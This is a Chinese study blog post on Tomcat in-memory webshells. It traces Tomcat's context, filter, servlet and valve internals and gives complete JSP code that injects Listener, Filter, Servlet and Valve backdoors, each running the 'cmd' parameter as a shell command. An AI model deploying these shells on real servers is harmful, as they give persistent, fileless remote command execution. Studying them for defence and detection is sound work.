March 2, 2023

Tomcat内存马分析

/Java内存马分析(待看)

Y4大佬的0-1建议看看哦,真的感觉学到了很多(思想方面吧)

https://goodapple.top/archives/1355
入坑四个月拉
——————————————————————

/环境搭建问题与排查

tomcat动态调试环境

https://zhuanlan.zhihu.com/p/35454131
将tomcat的源码全部导入当前的源码目录
image.png

中文乱码问题

image.png
首先configuration这里加上一个-Dfile.encoding=UTF-8
其次在项目结构这:
image.png
and then:
image.png

普通Maven转为Web项目

image.png
在module处加一个web项目就好,注意配置好一些路径

Artifact设置

image.png
简单设置一下结果文件即可

/Tomcat中三个Context

ServletContext

在Tomcat中的servlet都基本上需要实现这个接口,规定了如果要实现一个WEB容器,他的内容就必须要包含Servletcontext里的内容,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
package javax.servlet;

...

public interface ServletContext {
String TEMPDIR = "javax.servlet.context.tempdir";
String ORDERED_LIBS = "javax.servlet.context.orderedLibs";

String getContextPath();

ServletContext getContext(String var1);

...

/** @deprecated */
@Deprecated
Servlet getServlet(String var1) throws ServletException;

/** @deprecated */
@Deprecated
Enumeration<Servlet> getServlets();

/** @deprecated */
@Deprecated
Enumeration<String> getServletNames();

void log(String var1);

/** @deprecated */
@Deprecated
void log(Exception var1, String var2);

void log(String var1, Throwable var2);

String getRealPath(String var1);

String getServerInfo();

String getInitParameter(String var1);

Enumeration<String> getInitParameterNames();

boolean setInitParameter(String var1, String var2);

Object getAttribute(String var1);

Enumeration<String> getAttributeNames();

void setAttribute(String var1, Object var2);

void removeAttribute(String var1);

String getServletContextName();

Dynamic addServlet(String var1, String var2);

Dynamic addServlet(String var1, Servlet var2);

Dynamic addServlet(String var1, Class<? extends Servlet> var2);

Dynamic addJspFile(String var1, String var2);

<T extends Servlet> T createServlet(Class<T> var1) throws ServletException;

ServletRegistration getServletRegistration(String var1);

Map<String, ? extends ServletRegistration> getServletRegistrations();

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);

<T extends Filter> T createFilter(Class<T> var1) throws ServletException;

FilterRegistration getFilterRegistration(String var1);

Map<String, ? extends FilterRegistration> getFilterRegistrations();

SessionCookieConfig getSessionCookieConfig();

void setSessionTrackingModes(Set<SessionTrackingMode> var1);

Set<SessionTrackingMode> getDefaultSessionTrackingModes();

Set<SessionTrackingMode> getEffectiveSessionTrackingModes();

void addListener(String var1);

<T extends EventListener> void addListener(T var1);

void addListener(Class<? extends EventListener> var1);

<T extends EventListener> T createListener(Class<T> var1) throws ServletException;

JspConfigDescriptor getJspConfigDescriptor();

ClassLoader getClassLoader();

void declareRoles(String... var1);

String getVirtualServerName();

int getSessionTimeout();

void setSessionTimeout(int var1);

String getRequestCharacterEncoding();

void setRequestCharacterEncoding(String var1);

String getResponseCharacterEncoding();

void setResponseCharacterEncoding(String var1);
}

image.png

ApplicationContext

在Tomcat中,ServletContext的实现就是ApplicationContext
其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等
image.png
往下看看可以发现ApplicationContext都是基于this.context:
image.pngimage.png
绝大部分方法都是基于this.context,然后this.context实际上就是StanrdContext:
image.png

StandardContext

StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互,ApplicationContext其实更像对StandardContext的一种封装。
用下面这张图来展示一下其中的关系:

/Linsten型内存马分析

在Tomcat中,处理请求的流程如下图:
image.png
Listen->Filter->Servlet
因此最先接受请求并且判断的就是Listener了,这时候就可以在监听时,运行恶意代码,注入内存马,而Listener分为以下几种:

Request就是最好触发和注入内存马的种类了,只需要访问一个路由输入参数即可RCE
在tomcat中Listener必须实现2个接口LifecycleLisntener和EventListener:
现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。
因此我们重点来看EventListener
image.png
ServletRequestListener接口继承了它,因此我们只需要用ServletRequestListener即可
servletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。
在这里,通过一个demo来介绍下ServletRequestListener与其执行流程
写一个继承于ServletRequestListener接口的Listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.boogipop;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class listener implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");

}
}

然后在web.xml去注册:

1
2
3
<listener>
<listener-class>com.boogipop.listener</listener-class>
</listener>

现在访问任何一个地址都会出现结果:
image.png
image.png
先执行了requestInitialized后执行了requestDestoryed方法

正常流程分析

在上面也说了StandardContext对象才是真正起作用的一个Context,可以通过获取它来添加恶意监听器
下断点调试一下,在requestInitialized处:
image.png
可以看到一整套完整的调用栈,我们反向溯源一波:
image.png
在StandardContext中调用了listen.requestInitialize方法,往上可以发现listener是从instance数组中取出的
image.png
而instance数组是通过getApplicationEventListeners()方法所得到的,因此继续跟踪:
image.png
StandardHostValve中调用了fireRequestInitEvent进而调用了getApplicationEventListeners
getApplicationEventListeners就是StandardContext中的一个方法,因此利用思路也很简单,可以通过获取StandardContext然后获取getApplicationEventListeners,进而添加恶意监听器

StandardContext对象获取

因此现在的问题是如何获取StandardContext对象:

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>

方式一是以request对象为入口构造的
image.png
首先根据request对象反射获取request属性,然后再调用getContext方法获取StandardContext对象,溯源就可以发现StandardContext是Context的实现类,getContext方法返回的就是一个Context对象
方式二:

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

方式二是以Thread为入口进行构造的,和上面的原理一样,也是一步步往上去找,会发现都对应了起来

内存马分析

根据这两种方法可以写出一个Listener内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
public class MyListener implements ServletRequestListener {
//定义了一个Listen监听Servlet的销毁事件
public void requestDestroyed(ServletRequestEvent sre) {
//获取HttpServletRequest对象,用于RCE
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
//指令结果的输入流
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
/*
scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始
这条语句的整体意思就是读取所有输入,包括回车换行符
*/
Scanner s = new Scanner(in).useDelimiter("\\A");
//获得结果
String out = s.hasNext()?s.next():"";
//获取request对象
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
//回显技术
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%//添加恶意Listener
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
//在这里调用StandardContext进行添加
context.addApplicationEventListener(listenerDemo);
%>

/Filter型内存马分析

按照上面所讲的正常流程,Listen过后就是经过Filter过滤器处理请求,和Listen对应,Filter肯定也可以注入内存马,因为Filter有doFilter方法,用来将请求放行

调用流程

首先准备一个正常的filterdemo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.kino;

import javax.servlet.*;
import java.io.IOException;

public class filtertest implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException {
System.out.println("doFilter过滤");
//放行
chain.doFilter(request,response);
}

@Override
public void destroy() {
System.out.println("filter销毁");

}
}

注册filter:

1
2
3
4
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

在Dofilter处下查看调用栈:
image.png
最后一步是在ApplicationFilterChain类中调用了dofilter方法,并且通过一个ApplicationFilterConfig对象来获取所有的filters
image.png
溯源发现filters数组其实是一个ApplicationFilterConfig[]对象数组:
image.png
继续往回走,发现在该类调用了internalDoFilter方法,个人理解为是一个对doFilter进行初始化的方法
image.png
继续往回走发现调用了StandrdWrapperValue类中的filterChain.doFilter
image.png
这里的filterChain是通过createFilterChain方法所得到的:
image.png
而这个filterChain中存放的就是我们所定义的filter,可以看到filter是一个ApplicationFIlterConfig类型的数组
image.png
接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的,首先先获取了Request对象,实际上就是一个HttpServlet,然后通过HttpServlet获取了Filterchain:
image.png
然后重点来了,用StandradContext获取了FilterMap数组:
image.png
后续通过FIlterMap数组找到了FilterConfig数组,然后把filterConfig放入了filterchain中:
image.png
这里的context就是上文的StandradContext了,跟进addFilter方法:
image.png
在这做的事情其实和上一步一样,遍历filter然后放入ApplicationFilterConfig[]中,这个filters数组就是上面说的ApplicationFilterConfig[]数组对象,通过调试可以发现有几个比较显眼的对象名称:

这两个变量在StandradContext中都有定义,其中还有个filterDefs也是一个重要变量,这个后续会讲:
image.png

FilterMap

filterMap在上文中也说了,是一个数组,存放着过滤器的名称,是用来拿名称的,既然都存放在StandradContext中,那么肯定可以通过StandradContext去添加:
image.png
image.png

FilterConfigs

StandradContext既然能添加filtermaps,那应该也存在对FilterConfigs进行操作的方法:
image.png
找到溢出filterStart方法,其中调用了filterConfigs.put方法添加,从源码不难看懂这是初始化时候做的事情,因此断电重新启动一次调试:
image.png
filterDefs中存放了我们的TestFilter和TestFIlter的过滤器,遍历filterdefs,拿到了key(Testfilter)和value,之后通过new一个ApplicationConfig将值存入filterConfig中:
image.png

FIlterDefs

通过分析,其实发现filterdefs才是真正存放了filter的地方,在StandradContext中也有添加filterDefs的方法:
image.png
可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量
image.png
其中filter-mapping对应着filterMap了

内存马分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "Boogipop";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//以上步骤用于获取StandardContext
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//反射获取filterconfig

if (filterConfigs.get(name) == null){
//开始添加Filter过滤器
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
//定义了恶意的FIlter过滤器,在dofilter方法执行恶意代码
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);
/**
* 添加FilterMap
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
/**
* 反射获取ApplicationFilterConfig对象,往filterConfigs中放入filterConfig
*/
out.print("Inject Success !");
}
%>

可能大家从上往下看唯一疑惑的就是 filterMap.setDispatcher(DispatcherType.REQUEST.name());,这一句话在上文中没有提及,因为这里其实是一个坑点:
image.png
在filterMap中有一个dispatcherMapping属性:
image.png
在这里只需要设置为REQUEST即可
之后访问内存马:
image.png
注入成功:
image.png
到此告一段落拉~

/Servlet型内存马

妈的插一嘴啊,本来是打算赶紧写完Servlet的分析的,但是中途看到了个Tomcat回显技术,给我又整过去看那个了,没办法只能一起写了,知识真的是越看越多妈的比
按照正常的流程,FIlter过后就是Servlet拉~
写一个正常的servlet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.kino;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class testservlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("123");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

注册一下xml

流程分析

在org.apache.catalina.core.StandardContext类的startInternal()方法中,我们能看到Listener->Filter->Servlet的加载顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (ok) {
checkConstraintsForUncoveredMethods(findConstraints());
}

try {
// Start manager
Manager manager = getManager();
if (manager instanceof Lifecycle) {
((Lifecycle) manager).start();
}
} catch(Exception e) {
log.error(sm.getString("standardContext.managerFail"), e);
ok = false;
}

// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}

// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}

// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}

创建StandardWrapper

在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们在此下断点跟进:
image.png
ContextConfig#webConfig()解析了xml文件:
image.png
随之在WebConfig中调用了configureContext:
image.png
跟进这个函数看看做了什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
.........
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored

// jsp-file gets passed to the JSP Servlet as an init-param

if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性

wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

最后用了context.addServletMappingDecoded加了对应的路由:
image.png

加载StandWrapper

最后在StandradContext的findChilren获取了StandradWrapper类:
image.png
回到一开始说的加载完Listen,filter就该servlet了:
image.png
通过loadOnstartup()方法加载我们的wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public boolean loadOnStartup(Container children[]) {

// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
//判断属性loadOnStartup的值,因此这里应该大于0
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}

// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;

}

上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制(通过注解来设置路由等等),默认值为-1,此时只有当servlet被调用时Servlet才会被加载到内存中
image.png

内存马——动态注册Servlet(参考枫师傅)

通过上文的分析我们能够总结出创建Servlet的流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. 将StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.catalina.Wrapper" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="java.io.PrintWriter" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>


    <%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    //获取StandardContext
    %>

    <%!
    //编写恶意的Servlet
    public class Shell_Servlet implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {
    }
    @Override
    public ServletConfig getServletConfig() {
    return null;
    }
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    String cmd = req.getParameter("cmd");
    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    //普通回显
    PrintWriter out = servletResponse.getWriter();
    out.println(output);
    out.flush();
    out.close();
    }
    @Override
    public String getServletInfo() {
    return null;
    }
    @Override
    public void destroy() {
    }
    }

    %>

    <%
    //获取Wrapper并且将我们的Servlet放入Wrapper中
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name ="Boogipop";

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
    //这里获取的是类名称org.apache.jsp.servlet_jsp$Shell_Servlet
    %>

    <%
    //将wrapper添加进StandardContext
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
    %>
    用的时候吧注释去掉,会报错QWQ:
    image.png
    哟西成功注入,Servlet就告一段落了

/Value型内存马

流程分析

参考:
https://xz.aliyun.com/t/11988#toc-19
value是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

其实上述的话可以用下面这张图很好的概括:
image.png
在四个组件中都有pipeline,而储存在pipeline中的就是对应的Value,我们可以创建一个demo分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.kino;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

class EvilValve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) {

}
}
}

public class testvalue extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Field reqF = req.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request request = (Request) reqF.get(req);
StandardContext standardContext = (StandardContext) request.getContext();
standardContext.getPipeline().addValve(new EvilValve());
resp.getWriter().write("inject success");
} catch (Exception e) {
}
}
}

在sout上打上debug,然后调试看看:
image.png
调用栈中出现了很多value,并且可以看到触发的第一个value是StandardEngineValue,最后才是我们自定义的value,因此可以跳到StandardEngineValue中看一看:
image.png
在这里获取到了第一个value,接下来就是按顺序不断的获取value,从这里可以发现,value链是通过invoke方法进行放行的,当前value的invoke执行后就会执行下一个value的invoke方法,我们进一步溯源:
image.png
从这一步可以看出获取组件的顺序,先获取Container在获取pipeline最后获取value
并且在StandardPipeline中有方法addvalue
image.png
image.pngimage.png
那么我们注入的思路就很明确了

获取contenxt

1
2
3
4
5
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);

final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

获取pipeline

1
2
3
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

创建恶意value并且添加进standardpipeline

1
2
3
4
5
6
7
8
9
10
11
12
ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
};

standardPipeline1.addValve(valveBase);

这里为了让程序继续执行下去,恶意value类也必须要调用下一个value的invoke方法,否则无法正常进行:
this.getNext().invoke(request, response);

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);

final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response);
}
}
};

standardPipeline1.addValve(valveBase);

out.println("evil valve inject done!");
%>

image.png

总结

到这里的话,Tomcat内存马分析就正式告一段落了,接下来就是分析spring内存马和tomcat内存马结合反序列化的利用

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#内存马